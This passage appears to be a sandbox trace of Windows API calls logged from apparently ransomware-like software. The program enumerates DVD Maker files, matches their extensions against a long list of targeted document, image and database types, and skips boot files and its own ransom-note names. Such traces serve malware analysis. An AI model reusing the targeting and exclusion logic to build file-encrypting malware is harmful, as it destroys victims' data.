lpString2=".png") returned -1 [0258.953] lstrlenW (lpString=".cub") returned 4 [0258.953] lstrcmpiW (lpString1=".cub", lpString2=".png") returned -1 [0258.953] lstrlenW (lpString=".dae") returned 4 [0258.953] lstrcmpiW (lpString1=".dae", lpString2=".png") returned -1 [0258.953] lstrlenW (lpString=".dat") returned 4 [0258.953] lstrcmpiW (lpString1=".dat", lpString2=".png") returned -1 [0258.953] lstrlenW (lpString=".db") returned 3 [0258.953] lstrcmpiW (lpString1=".db", lpString2="png") returned -1 [0258.953] lstrlenW (lpString=".dbf") returned 4 [0258.953] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0258.953] lstrlenW (lpString=".dbx") returned 4 [0258.953] lstrcmpiW (lpString1=".dbx", lpString2=".png") returned -1 [0258.953] lstrlenW (lpString=".dc3") returned 4 [0258.953] lstrcmpiW (lpString1=".dc3", lpString2=".png") returned -1 [0258.953] lstrlenW (lpString=".dcm") returned 4 [0258.953] lstrcmpiW (lpString1=".dcm", lpString2=".png") returned -1 [0258.953] lstrlenW (lpString=".dcr") returned 4 [0258.953] lstrcmpiW (lpString1=".dcr", lpString2=".png") returned -1 [0258.953] lstrlenW (lpString=".der") returned 4 [0258.953] lstrcmpiW (lpString1=".der", lpString2=".png") returned -1 [0258.953] lstrlenW (lpString=".dib") returned 4 [0258.953] lstrcmpiW (lpString1=".dib", lpString2=".png") returned -1 [0258.953] lstrlenW (lpString=".dic") returned 4 [0258.953] lstrcmpiW (lpString1=".dic", lpString2=".png") returned -1 [0258.953] lstrlenW (lpString=".dif") returned 4 [0258.954] lstrcmpiW (lpString1=".dif", lpString2=".png") returned -1 [0258.954] lstrlenW (lpString=".divx") returned 5 [0258.954] lstrcmpiW (lpString1=".divx", lpString2="e.png") returned -1 [0258.954] lstrlenW (lpString=".djvu") returned 5 [0258.954] lstrcmpiW (lpString1=".djvu", lpString2="e.png") returned -1 [0258.954] lstrlenW (lpString=".dng") returned 4 [0258.954] lstrcmpiW (lpString1=".dng", lpString2=".png") returned -1 [0258.954] lstrlenW (lpString=".doc") returned 4 [0258.954] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0258.954] lstrlenW (lpString=".docm") returned 5 [0258.954] lstrcmpiW (lpString1=".docm", lpString2="e.png") returned -1 [0258.954] lstrlenW (lpString=".docx") returned 5 [0258.954] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0258.954] lstrlenW (lpString=".dot") returned 4 [0258.954] lstrcmpiW (lpString1=".dot", lpString2=".png") returned -1 [0258.954] lstrlenW (lpString=".dotm") returned 5 [0258.954] lstrcmpiW (lpString1=".dotm", lpString2="e.png") returned -1 [0258.954] lstrlenW (lpString=".dotx") returned 5 [0258.954] lstrcmpiW (lpString1=".dotx", lpString2="e.png") returned -1 [0258.954] lstrlenW (lpString=".dpx") returned 4 [0258.954] lstrcmpiW (lpString1=".dpx", lpString2=".png") returned -1 [0258.954] lstrlenW (lpString=".dqy") returned 4 [0258.954] lstrcmpiW (lpString1=".dqy", lpString2=".png") returned -1 [0258.954] lstrlenW (lpString=".dsn") returned 4 [0258.954] lstrcmpiW (lpString1=".dsn", lpString2=".png") returned -1 [0258.954] lstrlenW (lpString=".dt") returned 3 [0258.954] lstrcmpiW (lpString1=".dt", lpString2="png") returned -1 [0258.954] lstrlenW (lpString=".dtd") returned 4 [0258.954] lstrcmpiW (lpString1=".dtd", lpString2=".png") returned -1 [0258.954] lstrlenW (lpString=".dwg") returned 4 [0258.954] lstrcmpiW (lpString1=".dwg", lpString2=".png") returned -1 [0258.954] lstrlenW (lpString=".dwt") returned 4 [0258.954] lstrcmpiW (lpString1=".dwt", lpString2=".png") returned -1 [0258.954] lstrlenW (lpString=".dx") returned 3 [0258.954] lstrcmpiW (lpString1=".dx", lpString2="png") returned -1 [0258.955] lstrlenW (lpString=".dxf") returned 4 [0258.955] lstrcmpiW (lpString1=".dxf", lpString2=".png") returned -1 [0258.955] lstrlenW (lpString=".edml") returned 5 [0258.955] lstrcmpiW (lpString1=".edml", lpString2="e.png") returned -1 [0258.955] lstrlenW (lpString=".efd") returned 4 [0258.955] lstrcmpiW (lpString1=".efd", lpString2=".png") returned -1 [0258.955] lstrlenW (lpString=".elf") returned 4 [0258.955] lstrcmpiW (lpString1=".elf", lpString2=".png") returned -1 [0258.955] lstrlenW (lpString=".emf") returned 4 [0258.955] lstrcmpiW (lpString1=".emf", lpString2=".png") returned -1 [0258.955] lstrlenW (lpString=".emz") returned 4 [0258.955] lstrcmpiW (lpString1=".emz", lpString2=".png") returned -1 [0258.955] lstrlenW (lpString=".epf") returned 4 [0258.955] lstrcmpiW (lpString1=".epf", lpString2=".png") returned -1 [0258.955] lstrlenW (lpString=".eps") returned 4 [0258.955] lstrcmpiW (lpString1=".eps", lpString2=".png") returned -1 [0258.955] lstrlenW (lpString=".epsf") returned 5 [0258.955] lstrcmpiW (lpString1=".epsf", lpString2="e.png") returned -1 [0258.955] lstrlenW (lpString=".epsp") returned 5 [0258.955] lstrcmpiW (lpString1=".epsp", lpString2="e.png") returned -1 [0258.955] lstrlenW (lpString=".erf") returned 4 [0258.955] lstrcmpiW (lpString1=".erf", lpString2=".png") returned -1 [0258.955] lstrlenW (lpString=".exr") returned 4 [0258.955] lstrcmpiW (lpString1=".exr", lpString2=".png") returned -1 [0258.955] lstrlenW (lpString=".f4v") returned 4 [0258.955] lstrcmpiW (lpString1=".f4v", lpString2=".png") returned -1 [0258.955] lstrlenW (lpString=".fido") returned 5 [0258.955] lstrcmpiW (lpString1=".fido", lpString2="e.png") returned -1 [0258.955] lstrlenW (lpString=".flm") returned 4 [0258.955] lstrcmpiW (lpString1=".flm", lpString2=".png") returned -1 [0258.955] lstrlenW (lpString=".flv") returned 4 [0258.955] lstrcmpiW (lpString1=".flv", lpString2=".png") returned -1 [0258.955] lstrlenW (lpString=".frm") returned 4 [0258.955] lstrcmpiW (lpString1=".frm", lpString2=".png") returned -1 [0258.955] lstrlenW (lpString=".fxg") returned 4 [0258.956] lstrcmpiW (lpString1=".fxg", lpString2=".png") returned -1 [0258.956] lstrlenW (lpString=".geo") returned 4 [0258.956] lstrcmpiW (lpString1=".geo", lpString2=".png") returned -1 [0258.956] lstrlenW (lpString=".gif") returned 4 [0258.956] lstrcmpiW (lpString1=".gif", lpString2=".png") returned -1 [0258.956] lstrlenW (lpString=".grs") returned 4 [0258.956] lstrcmpiW (lpString1=".grs", lpString2=".png") returned -1 [0258.956] lstrlenW (lpString=".gz") returned 3 [0258.956] lstrcmpiW (lpString1=".gz", lpString2="png") returned -1 [0258.956] lstrlenW (lpString=".h") returned 2 [0258.956] lstrcmpiW (lpString1=".h", lpString2="ng") returned -1 [0258.956] lstrlenW (lpString=".hdr") returned 4 [0258.956] lstrcmpiW (lpString1=".hdr", lpString2=".png") returned -1 [0258.956] lstrlenW (lpString=".hpp") returned 4 [0258.956] lstrcmpiW (lpString1=".hpp", lpString2=".png") returned -1 [0258.956] lstrlenW (lpString=".hta") returned 4 [0258.956] lstrcmpiW (lpString1=".hta", lpString2=".png") returned -1 [0258.956] lstrlenW (lpString=".htc") returned 4 [0258.956] lstrcmpiW (lpString1=".htc", lpString2=".png") returned -1 [0258.956] lstrlenW (lpString=".htm") returned 4 [0258.956] lstrcmpiW (lpString1=".htm", lpString2=".png") returned -1 [0258.956] lstrlenW (lpString=".html") returned 5 [0258.956] lstrcmpiW (lpString1=".html", lpString2="e.png") returned -1 [0258.956] lstrlenW (lpString=".icb") returned 4 [0258.956] lstrcmpiW (lpString1=".icb", lpString2=".png") returned -1 [0258.956] lstrlenW (lpString=".ics") returned 4 [0258.956] lstrcmpiW (lpString1=".ics", lpString2=".png") returned -1 [0258.956] lstrlenW (lpString=".iff") returned 4 [0258.956] lstrcmpiW (lpString1=".iff", lpString2=".png") returned -1 [0258.956] lstrlenW (lpString=".inc") returned 4 [0258.956] lstrcmpiW (lpString1=".inc", lpString2=".png") returned -1 [0258.956] lstrlenW (lpString=".indd") returned 5 [0258.956] lstrcmpiW (lpString1=".indd", lpString2="e.png") returned -1 [0258.956] lstrlenW (lpString=".ini") returned 4 [0258.957] lstrcmpiW (lpString1=".ini", lpString2=".png") returned -1 [0258.957] lstrlenW (lpString=".iqy") returned 4 [0258.957] lstrcmpiW (lpString1=".iqy", lpString2=".png") returned -1 [0258.957] lstrlenW (lpString=".j2c") returned 4 [0258.957] lstrcmpiW (lpString1=".j2c", lpString2=".png") returned -1 [0258.957] lstrlenW (lpString=".j2k") returned 4 [0258.957] lstrcmpiW (lpString1=".j2k", lpString2=".png") returned -1 [0258.957] lstrlenW (lpString=".java") returned 5 [0258.957] lstrcmpiW (lpString1=".java", lpString2="e.png") returned -1 [0258.957] lstrlenW (lpString=".jp2") returned 4 [0258.957] lstrcmpiW (lpString1=".jp2", lpString2=".png") returned -1 [0258.957] lstrlenW (lpString=".jpc") returned 4 [0258.957] lstrcmpiW (lpString1=".jpc", lpString2=".png") returned -1 [0258.957] lstrlenW (lpString=".jpe") returned 4 [0258.957] lstrcmpiW (lpString1=".jpe", lpString2=".png") returned -1 [0258.957] lstrlenW (lpString=".jpeg") returned 5 [0258.957] lstrcmpiW (lpString1=".jpeg", lpString2="e.png") returned -1 [0258.957] lstrlenW (lpString=".jpf") returned 4 [0258.957] lstrcmpiW (lpString1=".jpf", lpString2=".png") returned -1 [0258.957] lstrlenW (lpString=".jpg") returned 4 [0258.957] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0258.957] lstrlenW (lpString=".jpx") returned 4 [0258.957] lstrcmpiW (lpString1=".jpx", lpString2=".png") returned -1 [0258.957] lstrlenW (lpString=".js") returned 3 [0258.957] lstrcmpiW (lpString1=".js", lpString2="png") returned -1 [0258.957] lstrlenW (lpString=".jsf") returned 4 [0258.957] lstrcmpiW (lpString1=".jsf", lpString2=".png") returned -1 [0258.957] lstrlenW (lpString=".json") returned 5 [0258.957] lstrcmpiW (lpString1=".json", lpString2="e.png") returned -1 [0258.957] lstrlenW (lpString=".jsp") returned 4 [0258.957] lstrcmpiW (lpString1=".jsp", lpString2=".png") returned -1 [0258.957] lstrlenW (lpString=".kdc") returned 4 [0258.957] lstrcmpiW (lpString1=".kdc", lpString2=".png") returned -1 [0258.957] lstrlenW (lpString=".kmz") returned 4 [0258.957] lstrcmpiW (lpString1=".kmz", lpString2=".png") returned -1 [0258.958] lstrlenW (lpString=".kwm") returned 4 [0258.958] lstrcmpiW (lpString1=".kwm", lpString2=".png") returned -1 [0258.958] lstrlenW (lpString=".lasso") returned 6 [0258.958] lstrcmpiW (lpString1=".lasso", lpString2="ue.png") returned -1 [0258.958] lstrlenW (lpString=".lbi") returned 4 [0258.958] lstrcmpiW (lpString1=".lbi", lpString2=".png") returned -1 [0258.958] lstrlenW (lpString=".lgf") returned 4 [0258.958] lstrcmpiW (lpString1=".lgf", lpString2=".png") returned -1 [0258.958] lstrlenW (lpString=".lgp") returned 4 [0258.958] lstrcmpiW (lpString1=".lgp", lpString2=".png") returned -1 [0258.958] lstrlenW (lpString=".log") returned 4 [0258.958] lstrcmpiW (lpString1=".log", lpString2=".png") returned -1 [0258.958] lstrlenW (lpString=".m1v") returned 4 [0258.958] lstrcmpiW (lpString1=".m1v", lpString2=".png") returned -1 [0258.958] lstrlenW (lpString=".m4a") returned 4 [0258.958] lstrcmpiW (lpString1=".m4a", lpString2=".png") returned -1 [0258.958] lstrlenW (lpString=".m4v") returned 4 [0258.958] lstrcmpiW (lpString1=".m4v", lpString2=".png") returned -1 [0258.958] lstrlenW (lpString=".max") returned 4 [0258.958] lstrcmpiW (lpString1=".max", lpString2=".png") returned -1 [0258.958] lstrlenW (lpString=".md") returned 3 [0258.958] lstrcmpiW (lpString1=".md", lpString2="png") returned -1 [0258.958] lstrlenW (lpString=".mda") returned 4 [0258.958] lstrcmpiW (lpString1=".mda", lpString2=".png") returned -1 [0258.958] lstrlenW (lpString=".mdb") returned 4 [0258.958] lstrcmpiW (lpString1=".mdb", lpString2=".png") returned -1 [0258.958] lstrlenW (lpString=".mde") returned 4 [0258.958] lstrcmpiW (lpString1=".mde", lpString2=".png") returned -1 [0258.959] lstrlenW (lpString=".mdf") returned 4 [0258.959] lstrcmpiW (lpString1=".mdf", lpString2=".png") returned -1 [0258.959] lstrlenW (lpString=".mdw") returned 4 [0258.959] lstrcmpiW (lpString1=".mdw", lpString2=".png") returned -1 [0258.959] lstrlenW (lpString=".mef") returned 4 [0258.959] lstrcmpiW (lpString1=".mef", lpString2=".png") returned -1 [0258.959] lstrlenW (lpString=".mft") returned 4 [0258.959] lstrcmpiW (lpString1=".mft", lpString2=".png") returned -1 [0258.959] lstrlenW (lpString=".mfw") returned 4 [0258.959] lstrcmpiW (lpString1=".mfw", lpString2=".png") returned -1 [0258.959] lstrlenW (lpString=".mht") returned 4 [0258.959] lstrcmpiW (lpString1=".mht", lpString2=".png") returned -1 [0258.959] lstrlenW (lpString=".mhtml") returned 6 [0258.959] lstrcmpiW (lpString1=".mhtml", lpString2="ue.png") returned -1 [0258.959] lstrlenW (lpString=".mka") returned 4 [0258.959] lstrcmpiW (lpString1=".mka", lpString2=".png") returned -1 [0258.959] lstrlenW (lpString=".mkidx") returned 6 [0258.959] lstrcmpiW (lpString1=".mkidx", lpString2="ue.png") returned -1 [0258.959] lstrlenW (lpString=".mkv") returned 4 [0258.959] lstrcmpiW (lpString1=".mkv", lpString2=".png") returned -1 [0258.959] lstrlenW (lpString=".mos") returned 4 [0258.959] lstrcmpiW (lpString1=".mos", lpString2=".png") returned -1 [0258.959] lstrlenW (lpString=".mov") returned 4 [0258.959] lstrcmpiW (lpString1=".mov", lpString2=".png") returned -1 [0258.959] lstrlenW (lpString=".mp3") returned 4 [0258.959] lstrcmpiW (lpString1=".mp3", lpString2=".png") returned -1 [0258.959] lstrlenW (lpString=".mp4") returned 4 [0258.959] lstrcmpiW (lpString1=".mp4", lpString2=".png") returned -1 [0258.959] lstrlenW (lpString=".mpeg") returned 5 [0258.959] lstrcmpiW (lpString1=".mpeg", lpString2="e.png") returned -1 [0258.959] lstrlenW (lpString=".mpg") returned 4 [0258.959] lstrcmpiW (lpString1=".mpg", lpString2=".png") returned -1 [0258.959] lstrlenW (lpString=".mpv") returned 4 [0258.959] lstrcmpiW (lpString1=".mpv", lpString2=".png") returned -1 [0258.960] lstrlenW (lpString=".mrw") returned 4 [0258.960] lstrcmpiW (lpString1=".mrw", lpString2=".png") returned -1 [0258.960] lstrlenW (lpString=".msg") returned 4 [0258.960] lstrcmpiW (lpString1=".msg", lpString2=".png") returned -1 [0258.960] lstrlenW (lpString=".mxl") returned 4 [0258.960] lstrcmpiW (lpString1=".mxl", lpString2=".png") returned -1 [0258.960] lstrlenW (lpString=".myd") returned 4 [0258.960] lstrcmpiW (lpString1=".myd", lpString2=".png") returned -1 [0258.960] lstrlenW (lpString=".myi") returned 4 [0258.960] lstrcmpiW (lpString1=".myi", lpString2=".png") returned -1 [0258.960] lstrlenW (lpString=".nef") returned 4 [0258.960] lstrcmpiW (lpString1=".nef", lpString2=".png") returned -1 [0258.960] lstrlenW (lpString=".nrw") returned 4 [0258.960] lstrcmpiW (lpString1=".nrw", lpString2=".png") returned -1 [0258.960] lstrlenW (lpString=".obj") returned 4 [0258.960] lstrcmpiW (lpString1=".obj", lpString2=".png") returned -1 [0258.960] lstrlenW (lpString=".odb") returned 4 [0258.960] lstrcmpiW (lpString1=".odb", lpString2=".png") returned -1 [0258.960] lstrlenW (lpString=".odc") returned 4 [0258.960] lstrcmpiW (lpString1=".odc", lpString2=".png") returned -1 [0258.960] lstrlenW (lpString=".odm") returned 4 [0258.960] lstrcmpiW (lpString1=".odm", lpString2=".png") returned -1 [0258.960] lstrlenW (lpString=".odp") returned 4 [0258.960] lstrcmpiW (lpString1=".odp", lpString2=".png") returned -1 [0258.960] lstrlenW (lpString=".ods") returned 4 [0258.960] lstrcmpiW (lpString1=".ods", lpString2=".png") returned -1 [0258.960] lstrlenW (lpString=".oft") returned 4 [0258.961] lstrcmpiW (lpString1=".oft", lpString2=".png") returned -1 [0258.961] lstrlenW (lpString=".one") returned 4 [0258.961] lstrcmpiW (lpString1=".one", lpString2=".png") returned -1 [0258.961] lstrlenW (lpString=".onepkg") returned 7 [0258.961] lstrcmpiW (lpString1=".onepkg", lpString2="lue.png") returned -1 [0258.961] lstrlenW (lpString=".onetoc2") returned 8 [0258.961] lstrcmpiW (lpString1=".onetoc2", lpString2="blue.png") returned -1 [0258.961] lstrlenW (lpString=".opt") returned 4 [0258.961] lstrcmpiW (lpString1=".opt", lpString2=".png") returned -1 [0258.961] lstrlenW (lpString=".oqy") returned 4 [0258.961] lstrcmpiW (lpString1=".oqy", lpString2=".png") returned -1 [0258.961] lstrlenW (lpString=".orf") returned 4 [0258.961] lstrcmpiW (lpString1=".orf", lpString2=".png") returned -1 [0258.961] lstrlenW (lpString=".p12") returned 4 [0258.961] lstrcmpiW (lpString1=".p12", lpString2=".png") returned -1 [0258.961] lstrlenW (lpString=".p7b") returned 4 [0258.961] lstrcmpiW (lpString1=".p7b", lpString2=".png") returned -1 [0258.961] lstrlenW (lpString=".p7c") returned 4 [0258.961] lstrcmpiW (lpString1=".p7c", lpString2=".png") returned -1 [0258.961] lstrlenW (lpString=".pam") returned 4 [0258.961] lstrcmpiW (lpString1=".pam", lpString2=".png") returned -1 [0258.961] lstrlenW (lpString=".pbm") returned 4 [0258.961] lstrcmpiW (lpString1=".pbm", lpString2=".png") returned -1 [0258.961] lstrlenW (lpString=".pct") returned 4 [0258.961] lstrcmpiW (lpString1=".pct", lpString2=".png") returned -1 [0258.961] lstrlenW (lpString=".pcx") returned 4 [0258.961] lstrcmpiW (lpString1=".pcx", lpString2=".png") returned -1 [0258.961] lstrlenW (lpString=".pdd") returned 4 [0258.961] lstrcmpiW (lpString1=".pdd", lpString2=".png") returned -1 [0258.961] lstrlenW (lpString=".pdf") returned 4 [0258.961] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0258.961] lstrlenW (lpString=".pdp") returned 4 [0258.961] lstrcmpiW (lpString1=".pdp", lpString2=".png") returned -1 [0258.961] lstrlenW (lpString=".pef") returned 4 [0258.962] lstrcmpiW (lpString1=".pef", lpString2=".png") returned -1 [0258.962] lstrlenW (lpString=".pem") returned 4 [0258.962] lstrcmpiW (lpString1=".pem", lpString2=".png") returned -1 [0258.962] lstrlenW (lpString=".pff") returned 4 [0258.962] lstrcmpiW (lpString1=".pff", lpString2=".png") returned -1 [0258.962] lstrlenW (lpString=".pfm") returned 4 [0258.962] lstrcmpiW (lpString1=".pfm", lpString2=".png") returned -1 [0258.962] lstrlenW (lpString=".pfx") returned 4 [0258.962] lstrcmpiW (lpString1=".pfx", lpString2=".png") returned -1 [0258.962] lstrlenW (lpString=".pgm") returned 4 [0258.962] lstrcmpiW (lpString1=".pgm", lpString2=".png") returned -1 [0258.962] lstrlenW (lpString=".php") returned 4 [0258.962] lstrcmpiW (lpString1=".php", lpString2=".png") returned -1 [0258.962] lstrlenW (lpString=".php3") returned 5 [0258.962] lstrcmpiW (lpString1=".php3", lpString2="e.png") returned -1 [0258.962] lstrlenW (lpString=".php4") returned 5 [0258.962] lstrcmpiW (lpString1=".php4", lpString2="e.png") returned -1 [0258.962] lstrlenW (lpString=".php5") returned 5 [0258.962] lstrcmpiW (lpString1=".php5", lpString2="e.png") returned -1 [0258.962] lstrlenW (lpString=".phtml") returned 6 [0258.962] lstrcmpiW (lpString1=".phtml", lpString2="ue.png") returned -1 [0258.962] lstrlenW (lpString=".pict") returned 5 [0258.962] lstrcmpiW (lpString1=".pict", lpString2="e.png") returned -1 [0258.962] lstrlenW (lpString=".pl") returned 3 [0258.962] lstrcmpiW (lpString1=".pl", lpString2="png") returned -1 [0258.962] lstrlenW (lpString=".pls") returned 4 [0258.962] lstrcmpiW (lpString1=".pls", lpString2=".png") returned -1 [0258.962] lstrlenW (lpString=".pm") returned 3 [0258.962] lstrcmpiW (lpString1=".pm", lpString2="png") returned -1 [0258.962] lstrlenW (lpString=".png") returned 4 [0258.962] lstrcmpiW (lpString1=".png", lpString2=".png") returned 0 [0258.962] lstrlenW (lpString="babyblue.png") returned 12 [0258.962] lstrlenW (lpString=".MERS") returned 5 [0258.962] lstrcmpiW (lpString1=".MERS", lpString2="e.png") returned -1 [0258.962] lstrlenW (lpString="babyblue.png") returned 12 [0258.963] lstrcmpiW (lpString1="boot.ini", lpString2="babyblue.png") returned 1 [0258.963] lstrcmpiW (lpString1="bootfont.bin", lpString2="babyblue.png") returned 1 [0258.963] lstrcmpiW (lpString1="ntldr", lpString2="babyblue.png") returned 1 [0258.963] lstrcmpiW (lpString1="ntdetect.com", lpString2="babyblue.png") returned 1 [0258.963] lstrcmpiW (lpString1="io.sys", lpString2="babyblue.png") returned 1 [0258.963] lstrcmpiW (lpString1="RETURN FILES.txt", lpString2="babyblue.png") returned 1 [0258.963] lstrcmpiW (lpString1="Info.hta", lpString2="babyblue.png") returned 1 [0258.963] lstrcmpiW (lpString1="chrome64b.exe", lpString2="babyblue.png") returned 1 [0258.963] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\babyblue.png") returned 64 [0258.963] FindNextFileW (in: hFindFile=0x63f108, lpFindFileData=0x35ef094 | out: lpFindFileData=0x35ef094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70d1f29a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70d1f29a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cec0f7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5354a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyMainBackground.wmv", cAlternateFileName="")) returned 1 [0258.963] lstrlenW (lpString="BabyBoyMainBackground.wmv") returned 25 [0258.963] lstrlenW (lpString=".1cd") returned 4 [0258.963] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1 [0258.963] lstrlenW (lpString=".3ds") returned 4 [0258.963] lstrcmpiW (lpString1=".3ds", lpString2=".wmv") returned -1 [0258.963] lstrlenW (lpString=".3fr") returned 4 [0258.963] lstrcmpiW (lpString1=".3fr", lpString2=".wmv") returned -1 [0258.963] lstrlenW (lpString=".3g2") returned 4 [0258.963] lstrcmpiW (lpString1=".3g2", lpString2=".wmv") returned -1 [0258.963] lstrlenW (lpString=".3gp") returned 4 [0258.963] lstrcmpiW (lpString1=".3gp", lpString2=".wmv") returned -1 [0258.963] lstrlenW (lpString=".7z") returned 3 [0258.963] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1 [0258.963] lstrlenW (lpString=".accda") returned 6 [0258.963] lstrcmpiW (lpString1=".accda", lpString2="nd.wmv") returned -1 [0258.963] lstrlenW (lpString=".accdb") returned 6 [0258.963] lstrcmpiW (lpString1=".accdb", lpString2="nd.wmv") returned -1 [0258.963] lstrlenW (lpString=".accdc") returned 6 [0258.964] lstrcmpiW (lpString1=".accdc", lpString2="nd.wmv") returned -1 [0258.964] lstrlenW (lpString=".accde") returned 6 [0258.964] lstrcmpiW (lpString1=".accde", lpString2="nd.wmv") returned -1 [0258.964] lstrlenW (lpString=".accdt") returned 6 [0258.964] lstrcmpiW (lpString1=".accdt", lpString2="nd.wmv") returned -1 [0258.964] lstrlenW (lpString=".accdw") returned 6 [0258.964] lstrcmpiW (lpString1=".accdw", lpString2="nd.wmv") returned -1 [0258.964] lstrlenW (lpString=".adb") returned 4 [0258.964] lstrcmpiW (lpString1=".adb", lpString2=".wmv") returned -1 [0258.964] lstrlenW (lpString=".adp") returned 4 [0258.964] lstrcmpiW (lpString1=".adp", lpString2=".wmv") returned -1 [0258.964] lstrlenW (lpString=".ai") returned 3 [0258.964] lstrcmpiW (lpString1=".ai", lpString2="wmv") returned -1 [0258.964] lstrlenW (lpString=".ai3") returned 4 [0258.964] lstrcmpiW (lpString1=".ai3", lpString2=".wmv") returned -1 [0258.964] lstrlenW (lpString=".ai4") returned 4 [0258.964] lstrcmpiW (lpString1=".ai4", lpString2=".wmv") returned -1 [0258.964] lstrlenW (lpString=".ai5") returned 4 [0258.964] lstrcmpiW (lpString1=".ai5", lpString2=".wmv") returned -1 [0258.964] lstrlenW (lpString=".ai6") returned 4 [0258.964] lstrcmpiW (lpString1=".ai6", lpString2=".wmv") returned -1 [0258.964] lstrlenW (lpString=".ai7") returned 4 [0258.965] RtlpDeCommitFreeBlock () [0258.965] FindNextFileW (in: hFindFile=0x63f088, lpFindFileData=0x35ef310 | out: lpFindFileData=0x35ef310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa12338ef, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab67eab, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa15a10e8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyGirl", cAlternateFileName="")) returned 1 [0258.965] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl") returned 52 [0258.966] FindNextFileW (in: hFindFile=0x63f108, lpFindFileData=0x35ef094 | out: lpFindFileData=0x35ef094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa12338ef, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab67eab, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa15a10e8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0258.966] FindNextFileW (in: hFindFile=0x63f108, lpFindFileData=0x35ef094 | out: lpFindFileData=0x35ef094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72858c15, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72858c15, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f4d6d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xab3, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-background.png", cAlternateFileName="")) returned 1 [0258.966] lstrlenW (lpString="16_9-frame-background.png") returned 25 [0258.968] RtlpDeCommitFreeBlock () [0258.968] FindNextFileW (in: hFindFile=0x63f088, lpFindFileData=0x35ef310 | out: lpFindFileData=0x35ef310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ecb0968, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ecb0968, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5ea6a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1276, dwReserved0=0x0, dwReserved1=0x0, cFileName="BlackRectangle.bmp", cAlternateFileName="")) returned 1 [0259.028] @RtlpReAllocateHeap@16 () [0259.028] FindNextFileW (in: hFindFile=0x63f088, lpFindFileData=0x35ef310 | out: lpFindFileData=0x35ef310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6edbb2f3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6edbb2f3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c53d379, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6a91, dwReserved0=0x0, dwReserved1=0x0, cFileName="Circle_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0259.030] FindNextFileW (in: hFindFile=0x63f108, lpFindFileData=0x35ef094 | out: lpFindFileData=0x35ef094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f43efc8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f465237, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x771429ce, dwReserved1=0x2000, cFileName="..", cAlternateFileName="")) returned 1 [0259.030] FindNextFileW (in: hFindFile=0x63f108, lpFindFileData=0x35ef094 | out: lpFindFileData=0x35ef094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fe188e9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fe188e9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d019747, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x771429ce, dwReserved1=0x2000, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0259.031] RtlpDeCommitFreeBlock () [0259.031] FindNextFileW (in: hFindFile=0x63f088, lpFindFileData=0x35ef310 | out: lpFindFileData=0x35ef310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a3fc59, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa63097e, 